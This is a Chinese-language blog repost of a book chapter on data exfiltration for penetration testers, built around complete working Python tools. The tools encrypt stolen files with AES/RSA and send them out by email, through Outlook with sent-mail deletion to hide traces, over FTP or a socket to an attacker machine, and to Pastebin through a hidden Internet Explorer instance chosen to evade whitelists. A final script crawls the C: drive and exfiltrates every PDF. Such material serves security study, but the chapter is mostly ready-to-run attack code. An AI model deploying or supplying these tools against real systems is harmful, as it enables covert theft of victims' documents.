FUN WITH EXFILTRATION--数据泄露的乐趣

FUN WITH EXFILTRATION–数据泄露的乐趣

进入目标网络只是战斗的一部分。为了利用您的访问权限,您希望能够从目标系统中导出文档、电子表格或其他数据。根据防御机制的不同,攻击的最后一部分可能会很棘手。可能有本地或远程系统(或两者的组合)来验证打开远程连接的进程,以及确定这些进程是否能够在内部网络之外发送信息或发起连接。

在本章中,我们将创建工具,使您能够导出加密数据。首先,我们将编写一个脚本来加密和解密文件。然后,我们将使用该脚本加密信息,并通过使用三种方法从系统中传输信息:电子邮件、文件传输和发布到web服务器。对于这些方法中的每一种,我们都将编写一个各平台通用的工具和一个仅适用于 Windows 的工具。

对于仅限于 Windows 的函数,我们将依赖于我们在第8章中使用的 PyWin32 库,尤其是 win32com 包。 Windows COM (Component Object Model,组件对象模型)自动化有许多实际用途——从与基于网络的服务交互到将微软 Excel 电子表格嵌入到您自己的应用程序中。从 XP 开始,所有版本的 Windows 都允许您将 Internet Explorer COM 对象嵌入到应用程序中,我们将在本章中利用这一能力。

加密和解密文件

我们将使用 pycryptodomex 包来完成加密任务。您可以使用以下命令安装它:

$ pip install pycryptodomex

现在,打开 cryptor.py ,让我们导入开始使用所需的库:

[1] from Cryptodome.Cipher import AES, PKCS1_OAEP
[2] from Cryptodome.PublicKey import RSA
from Cryptodome.Random import get_random_bytes
from io import BytesIO
import base64
import zlib

我们将创建一个混合加密进程,使用对称和非对称加密来实现两全其美的效果。AES 密码是对称加密的一个例子[1]:它之所以被称为 symmetric (对称) 是因为它使用同一个密钥进行加密和解密。它速度非常快,可以处理大量的文本。这就是我们用来加密我们想要泄露的信息的加密方法。

我们还导入了使用公钥/私钥技术的 asymmetric (非对称) RSA 密码[2]。它依赖一个密钥进行加密(通常是公钥),另一个密钥进行解密(通常是私钥)。我们将使用这个密码来加密 AES 加密中使用的单个密钥。非对称加密非常适合于少量信息,非常适合加密 AES 密钥。

这种同时使用两种加密方式的方法被称为 hybrid system (混合系统),非常常见。例如,您的浏览器和web服务器之间的 TLS 通信就涉及一个混合系统。

在开始加密或解密之前,我们需要为非对称加密 RSA 创建公钥和私钥。也就是说,我们需要创建一个 RSA 密钥生成函数。让我们从向 cryptor.py 添加一个 generate 函数开始:

def generate():
    new_key = RSA.generate(2048)
    private_key = new_key.exportKey()
    public_key = new_key.publickey().exportKey()
    with open('key.pri', 'wb') as f:
        f.write(private_key)
    with open('key.pub', 'wb') as f:
        f.write(public_key)

没错——Python非常“坏”,我们只需几行代码就能做到这一点。这段代码在名为 key.prikey.pub 的文件中输出了一个私钥和公钥对。现在让我们创建一个小的辅助函数,这样我们就可以获取公钥或私钥:

def get_rsa_cipher(keytype):
    with open(f'key.{keytype}') as f:
        key = f.read()
    rsakey = RSA.importKey(key)
    return (PKCS1_OAEP.new(rsakey), rsakey.size_in_bytes())

我们将密钥类型 (pub 或 pri) 传递给这个函数,读取相应的文件,并返回密码对象和 RSA 密钥的大小(以字节为单位的)。

现在,我们已经生成了两个密钥,并且具有从生成的密钥返回 RSA 密码的功能,让我们继续加密数据:

def encrypt(plaintext):
[1] compressed_text = zlib.compress(plaintext)
[2] session_key = get_random_bytes(16)
    cipher_aes = AES.new(session_key, AES.MODE_EAX)
[3] ciphertext, tag = cipher_aes.encrypt_and_digest(compressed_text)
    cipher_rsa, _ = get_rsa_cipher('pub')
[4] encrypted_session_key = cipher_rsa.encrypt(session_key)
[5] msg_payload = encrypted_session_key + cipher_aes.nonce + tag + ciphertext
[6] encrypted = base64.encodebytes(msg_payload)
    return(encrypted)

我们将明文以字节传入,并将其压缩[1]。然后,我们生成一个用于 AES 密码的随机会话密钥[2],并使用密码加密压缩的明文[3]。现在信息已经加密,我们需要将会话密钥作为返回的有效载荷的一部分,与密文本身一起传递,这样它就可以在另一端被解密。为了添加会话密钥,我们使用从生成的公钥生成的 RSA 密钥对其进行加密[4]。我们将解密所需的所有信息放入一个有效载荷中[5],对其进行 base64 编码,然后返回得到的加密字符串[6]。

现在让我们编写 decrypt 函数:

def decrypt(encrypted):
[1] encrypted_bytes = BytesIO(base64.decodebytes(encrypted))
    cipher_rsa, keysize_in_bytes = get_rsa_cipher('pri')
[2] encrypted_session_key = encrypted_bytes.read(keysize_in_bytes)
    nonce = encrypted_bytes.read(16)
    tag = encrypted_bytes.read(16)
    ciphertext = encrypted_bytes.read()
[3] session_key = cipher_rsa.decrypt(encrypted_session_key)
    cipher_aes = AES.new(session_key, AES.MODE_EAX, nonce)
[4] decrypted = cipher_aes.decrypt_and_verify(ciphertext, tag)
[5] plaintext = zlib.decompress(decrypted)
    return plaintext

为了解密,我们把加密函数的步骤反过来。首先,我们将字符串 base64 解码为字节形式[1]。然后,我们从加密的字节字符串中读取加密的会话密钥以及我们需要解密的其他参数[2]。我们使用 RSA 私钥解密会话密钥[3],并使用该密钥用 AES 密码解密消息本身[4]。最后,我们将其解压缩为明文字节字符串[5]并返回。

接下来,下面的主模块让测试功能变得很容易:

if __name__ == '__main__':
[1] generate()

在这一步骤中,我们生成公钥和私钥[1]。我们只是简单地调用 generate 函数,因为我们必须在使用它们之前生成密钥。现在我们可以编辑如下主块来使用秘钥:

if __name__ == '__main__':
    plaintext = b'hey there you.'
[1] print(decrypt(encrypt(plaintext)))

生成密钥后,我们加密并解密一个小字节字符串,然后打印结果[1]。

电子邮件泄露数据

现在我们可以轻松地加密和解密信息,让我们编写函数来泄露我们已经加密的信息。打开 email_exfil.py ,我们将使用它通过电子邮件发送加密信息:

[1] import smtplib
import time
[2] import win32com.client
[3] smtp_server = 'smtp.example.com'
smtp_port = 587
smtp_acct = 'tim@example.com'
smtp_password = 'seKret'
tgt_accts = ['tim@elsewhere.com']

我们导入 smptlib ,我们需要使用它完成跨平台电子邮件功能[1]。我们将使用 win32com 包来编写我们仅适用于 Windows 的函数[2]。要使用 SMTP 电子邮件客户端,我们需要连接到 Simple Mail Transfer Protocol (SMTP,简单邮件传输协议)服务器(如果您有一个 Gmail 帐户,smtp.gmail.com 可能是一个很好的例子),因此我们指定服务器的名称,它接受连接的端口,帐户名和帐户密码[3]。接下来,让我们编写通用平台的功能函数 plain_email :

def plain_email(subject, contents):
[1] message = f'Subject: {subject}\nFrom {smtp_acct}\n'
    message += f'To: {tgt_accts}\n\n{contents.decode()}'
    server = smtplib.SMTP(smtp_server, smtp_port)
    server.starttls()
[2] server.login(smtp_acct, smtp_password)
    #server.set_debuglevel(1)
[3] server.sendmail(smtp_acct, tgt_accts, message)
    time.sleep(1)
    server.quit()

该函数将 subjectcontents 作为输入,然后形成包含 SMTP 服务器数据和消息内容的消息[1]。 subject 可以是受害机器上包含了内容的文件的名称。 contentsencrypt 函数返回的加密字符串。为了增加保密性,您可以发送一个加密字符串作为消息的 subject

接下来,我们连接到服务器,并使用帐户名和密码登录[2]。然后我们调用 sendmail 函数并传入我们的帐户信息,以及发送邮件的目标帐户,最后是消息本身[3]。如果函数有任何问题,您也可以设置 debuglevel 属性,这样就可以在控制台上看到连接情况。

现在让我们编写一个特定适用于 Windows 的函数来完成相同的技术:

[1] def outlook(subject, contents):
[2] outlook = win32com.client.Dispatch("Outlook.Application")
    message = outlook.CreateItem(0)
[3] message.DeleteAfterSubmit = True
    message.Subject = subject
    message.Body = contents.decode()
    message.To =  tgt_accts[0]
[4] message.Send()

outlook 函数采用与 plain_email 函数相同的参数: subject 和 contents [1]。我们使用 win32com 包来创建 Outlook 应用程序的实例[2],确保在提交后立即删除电子邮件[3]。这可确保受损机器上的用户不会在 “已发送邮件” 和 “已删除邮件” 文件夹中看到电子邮件。接下来,我们填充消息主题、正文和目标电子邮件地址,并将电子邮件发送出去。

在下面的主模块中,我们调用 plain_email 函数来完成对该功能的简短测试:

if __name__ == '__main__':
    plain_email('test2 message', 'attack at dawn.')

在您使用这些功能向攻击者机器发送加密文件后,您可以打开您的电子邮件客户端,选择消息,将其复制并粘贴到新文件中。然后,您可以读取该文件,以便使用 cryptor.py 中的 decrypt 函数对其进行解密。

文件传输泄露数据

打开一个新文件 transmit_exfil.py ,我们将使用它通过文件传输发送加密信息:

import ftplib
import os
import socket
import win32file
[1] def plain_ftp(docpath, server='192.168.1.203'):
    ftp = ftplib.FTP(server)
[2] ftp.login("anonymous", "anon@example.com")
[3] ftp.cwd('/pub/')
[4] ftp.storbinary("STOR " + os.path.basename(docpath),
                    open(docpath, "rb"), 1024)
    ftp.quit()

我们导入 ftplib 和 win32file ,前者用于跨平台的函数,后者用于特定于 Windows 的函数。

作者设置 Kali 攻击者机器启用 FTP 服务器并接受匿名文件上传。在 plain_ftp 函数中,我们传入要传输的文件的路径 (docpath) 和 server 变量代指的 FTP 服务器( Kali 机器)的 IP 地址[1]。

使用 Python ftplib 可以轻松创建到服务器的连接,登录[2],并导航到目标目录[3]。最后,我们将文件写入目标目录[4]。

编写 transmit 函数来创建特定于 Windows 的版本,该函数获取我们要传输的文件的路径 (document_path) :

def transmit(document_path):
    client = socket.socket()
[1] client.connect(('192.168.1.207', 10000))
    with open(document_path, 'rb') as f:
    [2] win32file.TransmitFile(
                client,
                win32file._get_osfhandle(f.fileno()),
                0, 0, None, 0, b'', b'')

正如我们在第2章中所做的,我们用我们选择的端口打开一个到在攻击者机器上的监听器的套接字;这里,我们使用端口10000 [1]。然后我们使用 win32file.TransmitFile 函数来传输文件[2]。

下面的主模块通过向监听机器传输一个文件(在本例中是 mysecrets.txt )来进行一个简单的测试:

if __name__ == '__main__':
    transmit('./mysecrets.txt')

一旦我们收到加密文件,我们就可以读取该文件来解密它。

Web 服务器泄露数据

接下来,我们将编写一个新文件 paste_exfil.py ,通过发布到 web 服务器来发送我们的加密信息。我们将自动将加密文档发布到 https://pastebin.com/ 上的帐户。这将使我们能够秘密传送文件,并且当我们需要的时候可以检索它,其他人都不能解密它。通过使用像 Pastebin 这样的知名网站,我们还应该能够绕过防火墙或代理可能有的任何黑名单,否则可能会阻止我们将文档发送到我们控制的 IP 地址或 web 服务器。让我们从将一些支持功能放入我们的泄露脚本开始。打开 paste_exfil.py 并输入以下代码:

[1] from win32com import client
import os
import random
[2] import requests
import time
[3] username = 'tim'
password = 'seKret'
api_dev_key = 'cd3xxx001xxxx02'

我们导入 requests 来处理跨平台的函数[2],我们使用 win32com 的客户端类来处理特定于 Windows 的函数[1]。我们将向 https://pastebin.com/ web服务器进行身份验证,并上传加密的字符串。为了进行身份验证,我们定义了 usernamepassword 以及 api_dev_key [3]。

现在我们已经定义了导入和设置,让我们编写跨平台的函数 plain_paste :

[1] def plain_paste(title, contents):
    login_url = 'https://pastebin.com/api/api_login.php'
[2] login_data = {
        'api_dev_key': api_dev_key,
        'api_user_name': username,
        'api_user_password': password,
    }
    r = requests.post(login_url, data=login_data)
[3] api_user_key = r.text
[4] paste_url = 'https://pastebin.com/api/api_post.php'
    paste_data = {
        'api_paste_name': title,
        'api_paste_code': contents.decode(),
        'api_dev_key': api_dev_key,
        'api_user_key': api_user_key,
        'api_option': 'paste',
        'api_paste_private': 0,
    }
[5] r = requests.post(paste_url, data=paste_data)
    print(r.status_code)
    print(r.text)

像前面的电子邮件函数一样, plain_paste 函数接收标题的文件名和加密内容作为参数[1]。您需要发出两个请求,才能在自己的用户名下创建复制件。首先,产生 login API 的 post 来提交数据,指定您的 usernameapi_dev_keypassword [2]。 post 的响应是你的 api_user_key 。你需要这些数据来创建你自己的用户名下的复制件[3]。第二个请求是 post API [4]。发送你的复制件名称(文件名是我们的标题)和内容,以及你的 userdev API 密钥[5]。当该函数结束时,您应该能够在 https://pastebin.com/ 上登录到您的帐户,并查看您的加密内容。您可以从仪表板下载复制件,以便解密。

接下来,我们将编写特定于 Windows 的技术,使用 Internet Explorer 执完成复制。 Internet Explorer, you say? (笔者注:IE浏览器一言难尽。)尽管其他浏览器,如 谷歌Chrome 、 微软Edge 和 Mozilla Firefox 最近更受欢迎,但许多企业环境仍然使用 Internet Explorer 浏览器作为默认浏览器。当然,对于 Windows 的许多版本来说,您不能从 Windows 系统中删除 Internet Explorer ,因此这种技术应该几乎总是适用于您的 Windows 特洛伊木马。

让我们看看如何利用 Internet Explorer 帮助从目标网络中提取信息。加拿大安全研究员卡里姆·纳特霍 (Karim Nathoo) 指出, Internet Explorer COM (Internet Explorer组件)自动化有一个极大的好处,那就是使用 Iexplore.exe 进程(通常该进程是受信任的和被列入白名单的)从网络中泄露信息。让我们从编写几个辅助函数开始:

[1] def wait_for_browser(browser):
    while browser.ReadyState != 4 and browser.ReadyState != 'complete':
        time.sleep(0.1)
[2] def random_sleep():
    time.sleep(random.randint(5,10))

第一个函数 wait_for_browser 确保浏览器已经完成了它的事件[1],而第二个函数 random_sleep [2]使浏览器以某种稍微随机的方式运行,所以它看起来不像是程序行为。它会随机休眠一段时间;这是为了让浏览器执行可能没有向 Document Object Model (DOM,文档对象模型)注册事件的任务,以表明它们已经完成。这也让浏览器看起来更像人在操作一点。

现在我们有了这些辅助函数,让我们添加一些逻辑功能来处理登录和导航 Pastebin 仪表板。不幸的是,没有快速简单的方法可以在网络上找到 UI 元素(作者是花了30分钟使用 Firefox 及其开发工具来检查我们需要与之交互的每个 HTML 元素)。如果您希望使用不同的服务,那么您也必须弄清楚所需的精确时间、 DOM 交互和 HTML 元素——幸运的是, Python 使自动化变得非常容易。让我们添加一些代码:

def login(ie):
[1] full_doc = ie.Document.all
    for elem in full_doc:
    [2] if elem.id == 'loginform-username':
            elem.setAttribute('value', username)
        elif elem.id == 'loginform-password':
            elem.setAttribute('value', password)
    random_sleep()
    if ie.Document.forms[0].id == 'w0':
        ie.document.forms[0].submit()
    wait_for_browser(ie)

login 函数首先检索 DOM 中的所有元素[1]。它会查找用户名和密码字段[2],并将它们设置为我们提供的凭据(不要忘记先注册帐户)。在这段代码执行之后,您应该登录到 Pastebin 仪表板,并准备复制一些信息。现在让我们添加代码:

def submit(ie, title, contents):
    full_doc = ie.Document.all
    for elem in full_doc:
        if elem.id == 'postform-name':
            elem.setAttribute('value', title)
        elif elem.id == 'postform-text':
            elem.setAttribute('value', contents)
    if ie.Document.forms[0].id == 'w0':
        ie.document.forms[0].submit()
    random_sleep()
    wait_for_browser(ie)

在这一块上,这些代码应该看起来都不会很新。我们只是在 DOM 中搜索,寻找在哪里发布博客文章的标题和正文。 submit 函数接收浏览器的一个实例,以及要发送的文件名和加密文件内容。

现在我们可以登录并发布到 Pastebin ,让我们为我们的脚本做最后的润色:

def ie_paste(title, contents):
[1] ie = client.Dispatch('InternetExplorer.Application')
[2] ie.Visible = 1
    ie.Navigate('https://pastebin.com/login')
    wait_for_browser(ie)
    login(ie)
    ie.Navigate('https://pastebin.com/')
    wait_for_browser(ie)
    submit(ie, title, contents.decode())
[3] ie.Quit()
if __name__ == '__main__':
    ie_paste('title', 'contents')

我们需要调用 ie_paste 函数来处理我们想存储在 Pastebin 上的每个文档。它首先创建 Internet Explorer COM 对象的一个新实例[1]。有趣的是,你可以设置这个过程是否可见[2]。对于调试,可以将其设置为1,但是为了最大程度隐蔽行动,您肯定希望将其设置为0。例如,这一点在如果您的特洛伊木马检测到正在进行的其他活动时将非常有用;在这种情况下,您可以开始泄露文档,这可能有助于进一步将您的活动与用户的活动融合在一起。在我们调用所有的辅助函数之后,我们就消灭掉我们的 Internet Explorer 实例[3]并返回。

把它们结合在一起

最后,我们将泄露函数与 exfil.py 绑定在一起,我们可以使用刚刚编写的任意函数调用 exfil.py 文件来泄露文件:

[1] from cryptor import encrypt, decrypt
from email_exfil import outlook, plain_email
from transmit_exfil import plain_ftp, transmit
from paste_exfil import ie_paste, plain_paste
import os
[2] EXFIL = {
    'outlook': outlook,
    'plain_email': plain_email,
    'plain_ftp': plain_ftp,
    'transmit': transmit,
    'ie_paste': ie_paste,
    'plain_paste': plain_paste,
    }

首先,导入您刚刚编写的模块和函数[1]。然后,创建一个名为 EXFIL 的字典,其值对应于导入的函数[2]。这将使调用不同的泄露函数变得非常容易。这些值是函数的名称,因为在 Python 中,函数是可以用作参数。这种技术有时被称为 dictionary dispatch (字典调度)。它的工作原理很像其他语言中的 case 语句。

现在,我们需要创建一个函数来查找我们想要导出的文档:

def find_docs(doc_type='.pdf'):
[1] for parent, _, filenames in os.walk('c:\\'):
        for filename in filenames:
            if filename.endswith(doc_type):
                document_path = os.path.join(parent, filename)
            [2] yield document_path

find_docs 函数遍历整个文件系统查找 PDF 文档[1]。它找到一个就返回该文档完整的路径,并将完成情况返回给调用者[2]。

接下来,我们创建主函数来协调泄露信息功能:

[1] def exfiltrate(document_path, method):
[2] if method in ['transmit', 'plain_ftp']:
        filename = f'c:\\windows\\temp\\{os.path.basename(document_path)}'
        with open(document_path, 'rb') as f0:
            contents = f0.read()
        with open(filename, 'wb') as f1:
            f1.write(encrypt(contents))
    [3] EXFIL[method](filename)
        os.unlink(filename)
    else:
    [4] with open(document_path, 'rb') as f:
            contents = f.read()
        title = os.path.basename(document_path)
        contents = encrypt(contents)
    [5] EXFIL[method](title, contents)

我们将文档的路径和我们想要使用的泄露方法传递给 exfiltrate 函数[1]。当该方法涉及文件传输( transmitplain_ftp )时,我们需要提供一个实际的文件,而不是一个编码的字符串。在这种情况下,我们从源文件中读入文件,加密内容,并将一个新文件写入临时目录[2]。我们用 EXFIL 字典来调度相应的方法,传入新的加密文档路径来泄露文件[3],然后从临时目录中删除该文件。

对于其他方法,我们不需要编写新的文件;相反,我们只需要读取要泄露、窃取的文件[4],加密其内容,并调用 EXFIL 字典来发送电子邮件或复制加密的信息[5]。

在主块中,我们遍历所有找到的文档。测试中我们通过 plain_paste 函数对它们进行泄露,您也可以选择我们定义的六个函数中的任何一个:

if __name__ == '__main__':
    for fpath in find_docs():
        exfiltrate(fpath, 'plain_paste')

Kicking the Tires

这段代码有很多可移动的部分,但是这个工具很容易使用。只需从主机运行您的 exfil.py 脚本,并等待它通过电子邮件、 FTP 或 Pastebin 表示它已成功泄露文件。

如果你在运行 paste_exfile.ie_paste 函数时让 Internet Explorer 保持可见,你应该可以看到整个过程。完成后,您应该能够浏览到您的 Pastebin 页面,并看到类似图9-1的内容。

image-20210720125947808

完美!我们的 exfil.py 脚本提取了一个名为 topo_post.pdf 的PDF文档,对内容进行加密,然后将内容上传到 pastebin.com 。我们可以通过下载复制件并将其输入解密函数来成功解密文件,如下所示:

from cryptor import decrypt
[1] with open('topo_post_pdf.txt', 'rb') as f:
    contents = f.read()
with open('newtopo.pdf', 'wb') as f:
[2] f.write(decrypt(contents))

这段代码打开下载的复制件文件[1],解密内容,并将解密的内容写入新文件[2]。然后,您可以使用 PDF 阅读器打开新文件,以查看来自受害者机器的包含原始解密后地图的地形图。

现在,您的工具箱中有几个用于泄露数据信息的工具。您选择哪一个将取决于受害者网络的性质和该网络使用的安全防护级别。

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值